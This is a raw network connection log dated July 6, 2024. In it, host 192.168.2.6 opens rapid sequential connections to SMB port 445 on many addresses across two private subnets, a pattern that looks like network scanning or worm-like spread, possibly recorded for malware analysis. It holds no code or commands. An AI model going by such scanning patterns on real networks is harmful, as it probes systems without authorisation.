Jul 6, 2024 14:11:26.087881088 CEST	445	50504	192.168.1.173	192.168.2.6
Jul 6, 2024 14:11:26.087927103 CEST	50504	445	192.168.2.6	192.168.1.173
Jul 6, 2024 14:11:26.088466883 CEST	50506	445	192.168.2.6	192.168.1.46
Jul 6, 2024 14:11:26.088989019 CEST	445	50500	192.168.1.172	192.168.2.6
Jul 6, 2024 14:11:26.089361906 CEST	445	50501	192.168.0.14	192.168.2.6
Jul 6, 2024 14:11:26.092314959 CEST	445	50505	192.168.0.15	192.168.2.6
Jul 6, 2024 14:11:26.092673063 CEST	50500	445	192.168.2.6	192.168.1.172
Jul 6, 2024 14:11:26.092673063 CEST	50507	445	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:26.092674017 CEST	50508	445	192.168.2.6	192.168.1.174
Jul 6, 2024 14:11:26.093729973 CEST	445	50506	192.168.1.46	192.168.2.6
Jul 6, 2024 14:11:26.098107100 CEST	445	50500	192.168.1.172	192.168.2.6
Jul 6, 2024 14:11:26.099313974 CEST	50500	445	192.168.2.6	192.168.1.172
Jul 6, 2024 14:11:26.099314928 CEST	50501	445	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:26.099570036 CEST	50506	445	192.168.2.6	192.168.1.46
Jul 6, 2024 14:11:26.099570036 CEST	50506	445	192.168.2.6	192.168.1.46
Jul 6, 2024 14:11:26.100289106 CEST	445	50507	192.168.0.16	192.168.2.6
Jul 6, 2024 14:11:26.100490093 CEST	445	50508	192.168.1.174	192.168.2.6
Jul 6, 2024 14:11:26.102041960 CEST	50510	445	192.168.2.6	192.168.0.17
Jul 6, 2024 14:11:26.106925011 CEST	50507	445	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:26.106925011 CEST	50507	445	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:26.106925011 CEST	50508	445	192.168.2.6	192.168.1.174
Jul 6, 2024 14:11:26.106925011 CEST	50509	445	192.168.2.6	192.168.1.175
Jul 6, 2024 14:11:26.107783079 CEST	445	50506	192.168.1.46	192.168.2.6
Jul 6, 2024 14:11:26.107790947 CEST	445	50506	192.168.1.46	192.168.2.6
Jul 6, 2024 14:11:26.107810020 CEST	445	50510	192.168.0.17	192.168.2.6
Jul 6, 2024 14:11:26.107897997 CEST	50510	445	192.168.2.6	192.168.0.17
Jul 6, 2024 14:11:26.113718987 CEST	445	50510	192.168.0.17	192.168.2.6
Jul 6, 2024 14:11:26.113775969 CEST	50510	445	192.168.2.6	192.168.0.17
Jul 6, 2024 14:11:26.114897966 CEST	445	50509	192.168.1.175	192.168.2.6
Jul 6, 2024 14:11:26.115052938 CEST	50509	445	192.168.2.6	192.168.1.175
Jul 6, 2024 14:11:26.115287066 CEST	445	50507	192.168.0.16	192.168.2.6
Jul 6, 2024 14:11:26.115295887 CEST	445	50508	192.168.1.174	192.168.2.6
Jul 6, 2024 14:11:26.115334988 CEST	50507	445	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:26.115353107 CEST	50508	445	192.168.2.6	192.168.1.174
Jul 6, 2024 14:11:26.116106033 CEST	50510	445	192.168.2.6	192.168.0.17
Jul 6, 2024 14:11:26.116117954 CEST	50508	445	192.168.2.6	192.168.1.174
Jul 6, 2024 14:11:26.116188049 CEST	50509	445	192.168.2.6	192.168.1.175
Jul 6, 2024 14:11:26.117425919 CEST	50511	445	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:26.121665001 CEST	445	50510	192.168.0.17	192.168.2.6
Jul 6, 2024 14:11:26.121745110 CEST	445	50508	192.168.1.174	192.168.2.6
Jul 6, 2024 14:11:26.121771097 CEST	445	50509	192.168.1.175	192.168.2.6
Jul 6, 2024 14:11:26.121819019 CEST	50509	445	192.168.2.6	192.168.1.175
Jul 6, 2024 14:11:26.123397112 CEST	445	50511	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:26.123454094 CEST	50511	445	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:26.123536110 CEST	50511	445	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:26.123785019 CEST	50512	445	192.168.2.6	192.168.1.176
Jul 6, 2024 14:11:26.132931948 CEST	445	50511	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:26.133023024 CEST	445	50511	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:26.133054972 CEST	445	50512	192.168.1.176	192.168.2.6
Jul 6, 2024 14:11:26.133182049 CEST	50512	445	192.168.2.6	192.168.1.176
Jul 6, 2024 14:11:26.133367062 CEST	50512	445	192.168.2.6	192.168.1.176
Jul 6, 2024 14:11:26.133469105 CEST	50513	445	192.168.2.6	192.168.1.48
Jul 6, 2024 14:11:26.133654118 CEST	50514	445	192.168.2.6	192.168.1.47
Jul 6, 2024 14:11:26.133654118 CEST	50515	445	192.168.2.6	192.168.1.49
Jul 6, 2024 14:11:26.134627104 CEST	50516	445	192.168.2.6	192.168.1.177
Jul 6, 2024 14:11:26.135365963 CEST	50517	445	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:26.138786077 CEST	445	50512	192.168.1.176	192.168.2.6
Jul 6, 2024 14:11:26.138794899 CEST	445	50512	192.168.1.176	192.168.2.6
Jul 6, 2024 14:11:26.138803959 CEST	445	50513	192.168.1.48	192.168.2.6
Jul 6, 2024 14:11:26.138885021 CEST	50513	445	192.168.2.6	192.168.1.48
Jul 6, 2024 14:11:26.138942003 CEST	50513	445	192.168.2.6	192.168.1.48
Jul 6, 2024 14:11:26.139044046 CEST	445	50514	192.168.1.47	192.168.2.6
Jul 6, 2024 14:11:26.139096022 CEST	50514	445	192.168.2.6	192.168.1.47
Jul 6, 2024 14:11:26.139162064 CEST	50514	445	192.168.2.6	192.168.1.47
Jul 6, 2024 14:11:26.140640020 CEST	445	50515	192.168.1.49	192.168.2.6
Jul 6, 2024 14:11:26.140691996 CEST	50515	445	192.168.2.6	192.168.1.49
Jul 6, 2024 14:11:26.140723944 CEST	50515	445	192.168.2.6	192.168.1.49
Jul 6, 2024 14:11:26.140769005 CEST	445	50516	192.168.1.177	192.168.2.6
Jul 6, 2024 14:11:26.140815973 CEST	50516	445	192.168.2.6	192.168.1.177
Jul 6, 2024 14:11:26.140923023 CEST	50516	445	192.168.2.6	192.168.1.177
Jul 6, 2024 14:11:26.141273022 CEST	445	50517	192.168.0.19	192.168.2.6
Jul 6, 2024 14:11:26.141324043 CEST	50517	445	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:26.141408920 CEST	50517	445	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:26.144223928 CEST	445	50513	192.168.1.48	192.168.2.6
Jul 6, 2024 14:11:26.144233942 CEST	445	50514	192.168.1.47	192.168.2.6
Jul 6, 2024 14:11:26.144593000 CEST	445	50514	192.168.1.47	192.168.2.6
Jul 6, 2024 14:11:26.145997047 CEST	445	50515	192.168.1.49	192.168.2.6
Jul 6, 2024 14:11:26.146013021 CEST	445	50515	192.168.1.49	192.168.2.6
Jul 6, 2024 14:11:26.146379948 CEST	445	50516	192.168.1.177	192.168.2.6
Jul 6, 2024 14:11:26.146425009 CEST	50516	445	192.168.2.6	192.168.1.177
Jul 6, 2024 14:11:26.146507025 CEST	445	50517	192.168.0.19	192.168.2.6
Jul 6, 2024 14:11:26.146549940 CEST	50517	445	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:26.147437096 CEST	50518	445	192.168.2.6	192.168.1.50
Jul 6, 2024 14:11:26.148422003 CEST	50519	445	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:26.148540974 CEST	50520	445	192.168.2.6	192.168.1.178
Jul 6, 2024 14:11:26.153480053 CEST	445	50518	192.168.1.50	192.168.2.6
Jul 6, 2024 14:11:26.153490067 CEST	445	50519	192.168.0.20	192.168.2.6
Jul 6, 2024 14:11:26.153563023 CEST	50518	445	192.168.2.6	192.168.1.50
Jul 6, 2024 14:11:26.153640985 CEST	50518	445	192.168.2.6	192.168.1.50
Jul 6, 2024 14:11:26.154146910 CEST	445	50520	192.168.1.178	192.168.2.6
Jul 6, 2024 14:11:26.154206991 CEST	50520	445	192.168.2.6	192.168.1.178
Jul 6, 2024 14:11:26.154293060 CEST	50519	445	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:26.154293060 CEST	50519	445	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:26.159038067 CEST	445	50518	192.168.1.50	192.168.2.6
Jul 6, 2024 14:11:26.159069061 CEST	445	50518	192.168.1.50	192.168.2.6
Jul 6, 2024 14:11:26.159934044 CEST	445	50520	192.168.1.178	192.168.2.6
Jul 6, 2024 14:11:26.159984112 CEST	50520	445	192.168.2.6	192.168.1.178
Jul 6, 2024 14:11:26.162995100 CEST	50520	445	192.168.2.6	192.168.1.178
Jul 6, 2024 14:11:26.163527966 CEST	445	50519	192.168.0.20	192.168.2.6
Jul 6, 2024 14:11:26.164155006 CEST	50521	445	192.168.2.6	192.168.1.179
Jul 6, 2024 14:11:26.167640924 CEST	50519	445	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:26.167640924 CEST	50522	445	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:26.168323994 CEST	445	50520	192.168.1.178	192.168.2.6
Jul 6, 2024 14:11:26.169431925 CEST	445	50521	192.168.1.179	192.168.2.6
Jul 6, 2024 14:11:26.169516087 CEST	50521	445	192.168.2.6	192.168.1.179
Jul 6, 2024 14:11:26.169608116 CEST	50521	445	192.168.2.6	192.168.1.179
Jul 6, 2024 14:11:26.175144911 CEST	445	50521	192.168.1.179	192.168.2.6
Jul 6, 2024 14:11:26.178497076 CEST	50521	445	192.168.2.6	192.168.1.179
Jul 6, 2024 14:11:26.178718090 CEST	50523	445	192.168.2.6	192.168.1.51
Jul 6, 2024 14:11:26.179291964 CEST	445	50522	192.168.0.21	192.168.2.6
Jul 6, 2024 14:11:26.180429935 CEST	50524	445	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:26.180429935 CEST	50522	445	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:26.180429935 CEST	50522	445	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:26.180429935 CEST	50525	445	192.168.2.6	192.168.1.180
Jul 6, 2024 14:11:26.184124947 CEST	445	50523	192.168.1.51	192.168.2.6
Jul 6, 2024 14:11:26.185343981 CEST	445	50524	192.168.0.22	192.168.2.6
Jul 6, 2024 14:11:26.185412884 CEST	50524	445	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:26.185412884 CEST	50523	445	192.168.2.6	192.168.1.51
Jul 6, 2024 14:11:26.185471058 CEST	50523	445	192.168.2.6	192.168.1.51
Jul 6, 2024 14:11:26.185919046 CEST	445	50525	192.168.1.180	192.168.2.6
Jul 6, 2024 14:11:26.186125994 CEST	445	50522	192.168.0.21	192.168.2.6
Jul 6, 2024 14:11:26.186188936 CEST	50522	445	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:26.186188936 CEST	50525	445	192.168.2.6	192.168.1.180
Jul 6, 2024 14:11:26.190658092 CEST	445	50523	192.168.1.51	192.168.2.6
Jul 6, 2024 14:11:26.190869093 CEST	445	50523	192.168.1.51	192.168.2.6
Jul 6, 2024 14:11:26.191046000 CEST	445	50524	192.168.0.22	192.168.2.6
Jul 6, 2024 14:11:26.191277027 CEST	445	50525	192.168.1.180	192.168.2.6
Jul 6, 2024 14:11:26.191325903 CEST	50524	445	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:26.191325903 CEST	50525	445	192.168.2.6	192.168.1.180
Jul 6, 2024 14:11:26.194269896 CEST	50524	445	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:26.194343090 CEST	50525	445	192.168.2.6	192.168.1.180
Jul 6, 2024 14:11:26.194581985 CEST	50526	445	192.168.2.6	192.168.1.52
Jul 6, 2024 14:11:26.195427895 CEST	50527	445	192.168.2.6	192.168.0.23
Jul 6, 2024 14:11:26.196201086 CEST	50528	445	192.168.2.6	192.168.1.181
Jul 6, 2024 14:11:26.199398994 CEST	445	50524	192.168.0.22	192.168.2.6
Jul 6, 2024 14:11:26.199409008 CEST	445	50525	192.168.1.180	192.168.2.6
Jul 6, 2024 14:11:26.199754953 CEST	445	50526	192.168.1.52	192.168.2.6
Jul 6, 2024 14:11:26.200505018 CEST	445	50527	192.168.0.23	192.168.2.6
Jul 6, 2024 14:11:26.200598001 CEST	50527	445	192.168.2.6	192.168.0.23
Jul 6, 2024 14:11:26.201180935 CEST	50526	445	192.168.2.6	192.168.1.52
Jul 6, 2024 14:11:26.201180935 CEST	50526	445	192.168.2.6	192.168.1.52
Jul 6, 2024 14:11:26.201267004 CEST	445	50528	192.168.1.181	192.168.2.6
Jul 6, 2024 14:11:26.201325893 CEST	50528	445	192.168.2.6	192.168.1.181
Jul 6, 2024 14:11:26.201386929 CEST	50528	445	192.168.2.6	192.168.1.181
Jul 6, 2024 14:11:26.206131935 CEST	445	50526	192.168.1.52	192.168.2.6
Jul 6, 2024 14:11:26.206604958 CEST	445	50526	192.168.1.52	192.168.2.6
Jul 6, 2024 14:11:26.206614017 CEST	445	50528	192.168.1.181	192.168.2.6
Jul 6, 2024 14:11:26.206731081 CEST	445	50528	192.168.1.181	192.168.2.6
Jul 6, 2024 14:11:26.207659006 CEST	50528	445	192.168.2.6	192.168.1.181
Jul 6, 2024 14:11:26.209870100 CEST	50527	445	192.168.2.6	192.168.0.23
Jul 6, 2024 14:11:26.210076094 CEST	50529	445	192.168.2.6	192.168.1.53
Jul 6, 2024 14:11:26.211071968 CEST	50530	445	192.168.2.6	192.168.1.182
Jul 6, 2024 14:11:26.211915016 CEST	50531	445	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:26.215097904 CEST	445	50527	192.168.0.23	192.168.2.6
Jul 6, 2024 14:11:26.215213060 CEST	50527	445	192.168.2.6	192.168.0.23
Jul 6, 2024 14:11:26.215508938 CEST	445	50529	192.168.1.53	192.168.2.6
Jul 6, 2024 14:11:26.215606928 CEST	50529	445	192.168.2.6	192.168.1.53
Jul 6, 2024 14:11:26.215672970 CEST	50529	445	192.168.2.6	192.168.1.53
Jul 6, 2024 14:11:26.216804028 CEST	445	50530	192.168.1.182	192.168.2.6
Jul 6, 2024 14:11:26.216882944 CEST	50530	445	192.168.2.6	192.168.1.182
Jul 6, 2024 14:11:26.217899084 CEST	445	50531	192.168.0.24	192.168.2.6
Jul 6, 2024 14:11:26.217966080 CEST	50531	445	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:26.218105078 CEST	50531	445	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:26.222059011 CEST	445	50529	192.168.1.53	192.168.2.6
Jul 6, 2024 14:11:26.222735882 CEST	445	50529	192.168.1.53	192.168.2.6
Jul 6, 2024 14:11:26.222754002 CEST	445	50530	192.168.1.182	192.168.2.6
Jul 6, 2024 14:11:26.222810984 CEST	50530	445	192.168.2.6	192.168.1.182
Jul 6, 2024 14:11:26.223742962 CEST	445	50531	192.168.0.24	192.168.2.6
Jul 6, 2024 14:11:26.223814011 CEST	50531	445	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:26.225583076 CEST	50530	445	192.168.2.6	192.168.1.182
Jul 6, 2024 14:11:26.225953102 CEST	50533	445	192.168.2.6	192.168.1.55
Jul 6, 2024 14:11:26.225953102 CEST	50532	445	192.168.2.6	192.168.1.54
Jul 6, 2024 14:11:26.227227926 CEST	50535	445	192.168.2.6	192.168.1.183
Jul 6, 2024 14:11:26.227936029 CEST	50534	445	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:26.230720043 CEST	445	50530	192.168.1.182	192.168.2.6
Jul 6, 2024 14:11:26.231359959 CEST	445	50533	192.168.1.55	192.168.2.6
Jul 6, 2024 14:11:26.231369972 CEST	445	50532	192.168.1.54	192.168.2.6
Jul 6, 2024 14:11:26.231488943 CEST	50533	445	192.168.2.6	192.168.1.55
Jul 6, 2024 14:11:26.231488943 CEST	50532	445	192.168.2.6	192.168.1.54
Jul 6, 2024 14:11:26.231488943 CEST	50532	445	192.168.2.6	192.168.1.54
Jul 6, 2024 14:11:26.232017994 CEST	445	50535	192.168.1.183	192.168.2.6
Jul 6, 2024 14:11:26.232912064 CEST	50535	445	192.168.2.6	192.168.1.183
Jul 6, 2024 14:11:26.233079910 CEST	445	50534	192.168.0.25	192.168.2.6
Jul 6, 2024 14:11:26.236618996 CEST	50534	445	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:26.236618996 CEST	50534	445	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:26.237684965 CEST	50533	445	192.168.2.6	192.168.1.55
Jul 6, 2024 14:11:26.238101006 CEST	445	50535	192.168.1.183	192.168.2.6
Jul 6, 2024 14:11:26.238212109 CEST	50535	445	192.168.2.6	192.168.1.183
Jul 6, 2024 14:11:26.241501093 CEST	50535	445	192.168.2.6	192.168.1.183
Jul 6, 2024 14:11:26.242786884 CEST	445	50532	192.168.1.54	192.168.2.6
Jul 6, 2024 14:11:26.242795944 CEST	445	50533	192.168.1.55	192.168.2.6
Jul 6, 2024 14:11:26.243438005 CEST	445	50533	192.168.1.55	192.168.2.6
Jul 6, 2024 14:11:26.243447065 CEST	445	50532	192.168.1.54	192.168.2.6
Jul 6, 2024 14:11:26.244488955 CEST	50536	445	192.168.2.6	192.168.1.184
Jul 6, 2024 14:11:26.244488955 CEST	50537	445	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:26.244651079 CEST	445	50534	192.168.0.25	192.168.2.6
Jul 6, 2024 14:11:26.249730110 CEST	445	50535	192.168.1.183	192.168.2.6
Jul 6, 2024 14:11:26.254595041 CEST	50534	445	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:26.259443998 CEST	445	50536	192.168.1.184	192.168.2.6
Jul 6, 2024 14:11:26.259845018 CEST	50536	445	192.168.2.6	192.168.1.184
Jul 6, 2024 14:11:26.259948015 CEST	445	50537	192.168.0.26	192.168.2.6
Jul 6, 2024 14:11:26.259968042 CEST	50536	445	192.168.2.6	192.168.1.184
Jul 6, 2024 14:11:26.259990931 CEST	50537	445	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:26.260888100 CEST	50538	445	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:26.261236906 CEST	50539	445	192.168.2.6	192.168.1.185
Jul 6, 2024 14:11:26.266091108 CEST	445	50538	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:26.266112089 CEST	445	50539	192.168.1.185	192.168.2.6
Jul 6, 2024 14:11:26.266160965 CEST	50538	445	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:26.266218901 CEST	50539	445	192.168.2.6	192.168.1.185
Jul 6, 2024 14:11:26.266220093 CEST	50538	445	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:26.266278982 CEST	50539	445	192.168.2.6	192.168.1.185
Jul 6, 2024 14:11:26.266290903 CEST	445	50536	192.168.1.184	192.168.2.6
Jul 6, 2024 14:11:26.266335011 CEST	50536	445	192.168.2.6	192.168.1.184
Jul 6, 2024 14:11:26.266727924 CEST	445	50537	192.168.0.26	192.168.2.6
Jul 6, 2024 14:11:26.271203995 CEST	445	50538	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:26.271213055 CEST	445	50538	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:26.271574020 CEST	445	50539	192.168.1.185	192.168.2.6
Jul 6, 2024 14:11:26.271635056 CEST	50539	445	192.168.2.6	192.168.1.185
Jul 6, 2024 14:11:26.272578955 CEST	50540	445	192.168.2.6	192.168.1.57
Jul 6, 2024 14:11:26.272644997 CEST	50541	445	192.168.2.6	192.168.1.56
Jul 6, 2024 14:11:26.273916006 CEST	50542	445	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:26.275011063 CEST	50537	445	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:26.275011063 CEST	50537	445	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:26.275011063 CEST	50543	445	192.168.2.6	192.168.1.186
Jul 6, 2024 14:11:26.277422905 CEST	445	50540	192.168.1.57	192.168.2.6
Jul 6, 2024 14:11:26.277489901 CEST	50540	445	192.168.2.6	192.168.1.57
Jul 6, 2024 14:11:26.277510881 CEST	445	50541	192.168.1.56	192.168.2.6
Jul 6, 2024 14:11:26.277528048 CEST	50540	445	192.168.2.6	192.168.1.57
Jul 6, 2024 14:11:26.277559042 CEST	50541	445	192.168.2.6	192.168.1.56
Jul 6, 2024 14:11:26.277585983 CEST	50541	445	192.168.2.6	192.168.1.56
Jul 6, 2024 14:11:26.278842926 CEST	445	50542	192.168.0.28	192.168.2.6
Jul 6, 2024 14:11:26.279407978 CEST	50542	445	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:26.282305002 CEST	445	50540	192.168.1.57	192.168.2.6
Jul 6, 2024 14:11:26.282633066 CEST	445	50541	192.168.1.56	192.168.2.6
Jul 6, 2024 14:11:26.283104897 CEST	445	50540	192.168.1.57	192.168.2.6
Jul 6, 2024 14:11:26.283233881 CEST	445	50541	192.168.1.56	192.168.2.6
Jul 6, 2024 14:11:26.283777952 CEST	445	50537	192.168.0.26	192.168.2.6
Jul 6, 2024 14:11:26.283787012 CEST	445	50543	192.168.1.186	192.168.2.6
Jul 6, 2024 14:11:26.285106897 CEST	50543	445	192.168.2.6	192.168.1.186
Jul 6, 2024 14:11:26.285106897 CEST	50543	445	192.168.2.6	192.168.1.186
Jul 6, 2024 14:11:26.285746098 CEST	445	50542	192.168.0.28	192.168.2.6
Jul 6, 2024 14:11:26.285955906 CEST	50542	445	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:26.287967920 CEST	50542	445	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:26.289241076 CEST	50544	445	192.168.2.6	192.168.1.58
Jul 6, 2024 14:11:26.290328979 CEST	50545	445	192.168.2.6	192.168.1.187
Jul 6, 2024 14:11:26.291193962 CEST	50546	445	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:26.293086052 CEST	445	50542	192.168.0.28	192.168.2.6
Jul 6, 2024 14:11:26.294173002 CEST	445	50544	192.168.1.58	192.168.2.6
Jul 6, 2024 14:11:26.295159101 CEST	50544	445	192.168.2.6	192.168.1.58
Jul 6, 2024 14:11:26.295159101 CEST	50544	445	192.168.2.6	192.168.1.58
Jul 6, 2024 14:11:26.295701981 CEST	445	50545	192.168.1.187	192.168.2.6
Jul 6, 2024 14:11:26.295830011 CEST	50545	445	192.168.2.6	192.168.1.187
Jul 6, 2024 14:11:26.295903921 CEST	50545	445	192.168.2.6	192.168.1.187
Jul 6, 2024 14:11:26.296439886 CEST	445	50546	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:26.298770905 CEST	50546	445	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:26.298770905 CEST	50546	445	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:26.298945904 CEST	445	50543	192.168.1.186	192.168.2.6
Jul 6, 2024 14:11:26.300045013 CEST	50543	445	192.168.2.6	192.168.1.186
Jul 6, 2024 14:11:26.300826073 CEST	445	50544	192.168.1.58	192.168.2.6
Jul 6, 2024 14:11:26.300985098 CEST	445	50544	192.168.1.58	192.168.2.6
Jul 6, 2024 14:11:26.301297903 CEST	445	50545	192.168.1.187	192.168.2.6
Jul 6, 2024 14:11:26.301356077 CEST	50545	445	192.168.2.6	192.168.1.187
Jul 6, 2024 14:11:26.303955078 CEST	50547	445	192.168.2.6	192.168.1.59
Jul 6, 2024 14:11:26.304187059 CEST	445	50546	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:26.306435108 CEST	50548	445	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:26.306435108 CEST	50546	445	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:26.306435108 CEST	50549	445	192.168.2.6	192.168.1.188
Jul 6, 2024 14:11:26.308805943 CEST	445	50547	192.168.1.59	192.168.2.6
Jul 6, 2024 14:11:26.309278965 CEST	50547	445	192.168.2.6	192.168.1.59
Jul 6, 2024 14:11:26.311384916 CEST	445	50548	192.168.0.30	192.168.2.6
Jul 6, 2024 14:11:26.311393976 CEST	445	50549	192.168.1.188	192.168.2.6
Jul 6, 2024 14:11:26.311475039 CEST	50548	445	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:26.311475039 CEST	50549	445	192.168.2.6	192.168.1.188
Jul 6, 2024 14:11:26.314733028 CEST	445	50547	192.168.1.59	192.168.2.6
Jul 6, 2024 14:11:26.316274881 CEST	50547	445	192.168.2.6	192.168.1.59
Jul 6, 2024 14:11:26.316724062 CEST	445	50548	192.168.0.30	192.168.2.6
Jul 6, 2024 14:11:26.317740917 CEST	445	50549	192.168.1.188	192.168.2.6
Jul 6, 2024 14:11:26.318962097 CEST	50548	445	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:26.318962097 CEST	50549	445	192.168.2.6	192.168.1.188
Jul 6, 2024 14:11:26.318962097 CEST	50548	445	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:26.318962097 CEST	50549	445	192.168.2.6	192.168.1.188
Jul 6, 2024 14:11:26.320688009 CEST	50551	445	192.168.2.6	192.168.1.189
Jul 6, 2024 14:11:26.320732117 CEST	50552	445	192.168.2.6	192.168.0.31
Jul 6, 2024 14:11:26.321038008 CEST	50547	445	192.168.2.6	192.168.1.59
Jul 6, 2024 14:11:26.321650982 CEST	50550	445	192.168.2.6	192.168.1.60
Jul 6, 2024 14:11:26.335088968 CEST	50553	445	192.168.2.6	192.168.1.61
Jul 6, 2024 14:11:26.335151911 CEST	50554	445	192.168.2.6	192.168.1.62
Jul 6, 2024 14:11:26.336436987 CEST	50556	445	192.168.2.6	192.168.1.190
Jul 6, 2024 14:11:26.336482048 CEST	50555	445	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:26.351630926 CEST	50557	445	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:26.352407932 CEST	50558	445	192.168.2.6	192.168.1.191
Jul 6, 2024 14:11:26.367338896 CEST	50559	445	192.168.2.6	192.168.1.192
Jul 6, 2024 14:11:26.367413044 CEST	50560	445	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:26.367806911 CEST	445	50548	192.168.0.30	192.168.2.6
Jul 6, 2024 14:11:26.367810965 CEST	445	50549	192.168.1.188	192.168.2.6
Jul 6, 2024 14:11:26.367839098 CEST	445	50551	192.168.1.189	192.168.2.6
Jul 6, 2024 14:11:26.367933035 CEST	50551	445	192.168.2.6	192.168.1.189
Jul 6, 2024 14:11:26.367991924 CEST	50551	445	192.168.2.6	192.168.1.189
Jul 6, 2024 14:11:26.368432045 CEST	445	50547	192.168.1.59	192.168.2.6
Jul 6, 2024 14:11:26.368453026 CEST	445	50550	192.168.1.60	192.168.2.6
Jul 6, 2024 14:11:26.368524075 CEST	445	50552	192.168.0.31	192.168.2.6
Jul 6, 2024 14:11:26.368652105 CEST	445	50553	192.168.1.61	192.168.2.6
Jul 6, 2024 14:11:26.368660927 CEST	445	50554	192.168.1.62	192.168.2.6
Jul 6, 2024 14:11:26.368669987 CEST	445	50556	192.168.1.190	192.168.2.6
Jul 6, 2024 14:11:26.368679047 CEST	445	50555	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:26.369374990 CEST	50555	445	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:26.369374990 CEST	50555	445	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:26.370120049 CEST	50552	445	192.168.2.6	192.168.0.31
Jul 6, 2024 14:11:26.370120049 CEST	50556	445	192.168.2.6	192.168.1.190
Jul 6, 2024 14:11:26.370120049 CEST	50556	445	192.168.2.6	192.168.1.190
Jul 6, 2024 14:11:26.370482922 CEST	50550	445	192.168.2.6	192.168.1.60
Jul 6, 2024 14:11:26.370484114 CEST	50550	445	192.168.2.6	192.168.1.60
Jul 6, 2024 14:11:26.370754957 CEST	50553	445	192.168.2.6	192.168.1.61
Jul 6, 2024 14:11:26.370754957 CEST	50554	445	192.168.2.6	192.168.1.62
Jul 6, 2024 14:11:26.370754957 CEST	50553	445	192.168.2.6	192.168.1.61
Jul 6, 2024 14:11:26.370754957 CEST	50554	445	192.168.2.6	192.168.1.62
Jul 6, 2024 14:11:26.372683048 CEST	445	50511	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:26.372692108 CEST	445	50512	192.168.1.176	192.168.2.6
Jul 6, 2024 14:11:26.373323917 CEST	445	50557	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:26.373332977 CEST	445	50558	192.168.1.191	192.168.2.6
Jul 6, 2024 14:11:26.373389959 CEST	445	50559	192.168.1.192	192.168.2.6
Jul 6, 2024 14:11:26.373399019 CEST	445	50560	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:26.373408079 CEST	445	50551	192.168.1.189	192.168.2.6
Jul 6, 2024 14:11:26.373415947 CEST	445	50551	192.168.1.189	192.168.2.6
Jul 6, 2024 14:11:26.374355078 CEST	50559	445	192.168.2.6	192.168.1.192
Jul 6, 2024 14:11:26.374355078 CEST	50560	445	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:26.374356031 CEST	50559	445	192.168.2.6	192.168.1.192
Jul 6, 2024 14:11:26.375631094 CEST	445	50550	192.168.1.60	192.168.2.6
Jul 6, 2024 14:11:26.375648975 CEST	445	50553	192.168.1.61	192.168.2.6
Jul 6, 2024 14:11:26.376099110 CEST	445	50554	192.168.1.62	192.168.2.6
Jul 6, 2024 14:11:26.376915932 CEST	445	50550	192.168.1.60	192.168.2.6
Jul 6, 2024 14:11:26.376925945 CEST	445	50553	192.168.1.61	192.168.2.6
Jul 6, 2024 14:11:26.376950979 CEST	445	50554	192.168.1.62	192.168.2.6
